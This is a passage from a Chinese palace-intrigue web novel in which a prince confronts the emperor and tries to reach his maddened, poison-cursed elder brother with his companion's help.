“皇帝陛下,您不用再喊了,影殿的所有势力在这几天之内,早就被我狼山卫清理干净了!”
赫连灼对皇帝给了致命一击。
周围的侍卫听到这些话,脚步更是不由自主地向后退去。
血鸦阁的劲**,狼山卫的刀锋,以及太子殿下口中那骇人听闻的真相,都让他们不敢轻举妄动。
“看来,你的江山,没有人想替你保了。”
萧景珩的声音带着审判的意味。
养心殿前,空气凝滞如铁。
火把噼啪作响,跳跃的光芒映照着一张张或惊惧、或愤怒、或茫然的脸。
夜风卷着腥气,吹动着萧景珩和林绾绾的大氅,猎猎作响,如同展开的复仇之旗。
一直发狂的“人”,不知何时停止了对侍卫防线的疯狂冲击。
他的身躯缓缓转动,覆盖着污垢与狰狞疤痕的头颅低垂着,那双纯粹漆黑的眸子,死死锁定了萧景珩。
一种源自血脉最深处的共鸣,让发狂的
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“人”发出了困惑而痛苦的低声嘶吼。
他似乎在萧景珩身上感受到了同源的气息。
那气息吸引着他,却又与他被蛊毒和痛苦折磨得只剩毁灭的意识剧烈冲突。
殿门之外的皇帝,趁着这短暂的停滞,如同抓住了救命稻草般尖声嘶叫。
“你们快看!那个怪物一直盯着他看,就是萧景珩把怪物引来的!”
他枯槁的手指颤抖地指向萧景珩,试图让大家相信。
皇帝的话依旧没有阻止周围士兵后退的脚步。
士兵手中的刀剑甚至都微微下垂。
**手札的内容太过惊世骇俗...
若这一切都是真实的,他们此刻拼命护卫的,究竟是什么?
血鸦阁的精锐沉默地踞于高处,**箭的寒光冰冷地笼罩着下方。
另一侧,赫连灼率领的狼山卫也像一道金色的铜墙铁壁,封锁了所有去路。
他们沉默而肃杀的目光,更多地落在林绾绾身上,确保她的安全。
萧景珩对皇帝的狂吠置若罔闻,他的全部心神都凝聚在那个正一步步向他靠近的“人”身上。
这个“人”就是他一母同胞的兄长!
本该享受尊荣,却被制成了这般人不人鬼不鬼的模样,承受了二十多年的非人痛苦。
林绾绾紧紧抓着萧景珩的手臂,低声道。
“景珩,兄长还有一丝本能...他认得你的气息。或许,用《天医策》中记载的‘灵犀引’再配合九转玲珑针,能暂时安抚住他体内的蛊毒,唤醒他的神智。”
林绾绾的声音虽轻,却如同暗夜中的一盏明灯,照亮了萧景珩心中的阴霾。
萧景珩眼眸中闪过一丝波动,重重握了一下林绾绾的手:“好,我们试试!”
他深吸一口气,缓缓向前迈了一步,独自迎向那散发着恐怖气息的“人”。
他收敛了周身所有的寒气与杀意,将双生火焰的共鸣之力微微释放。
“兄长...”
萧景珩声音低沉,带着悲恸与试探。
“是我!我是你的弟弟萧景珩!”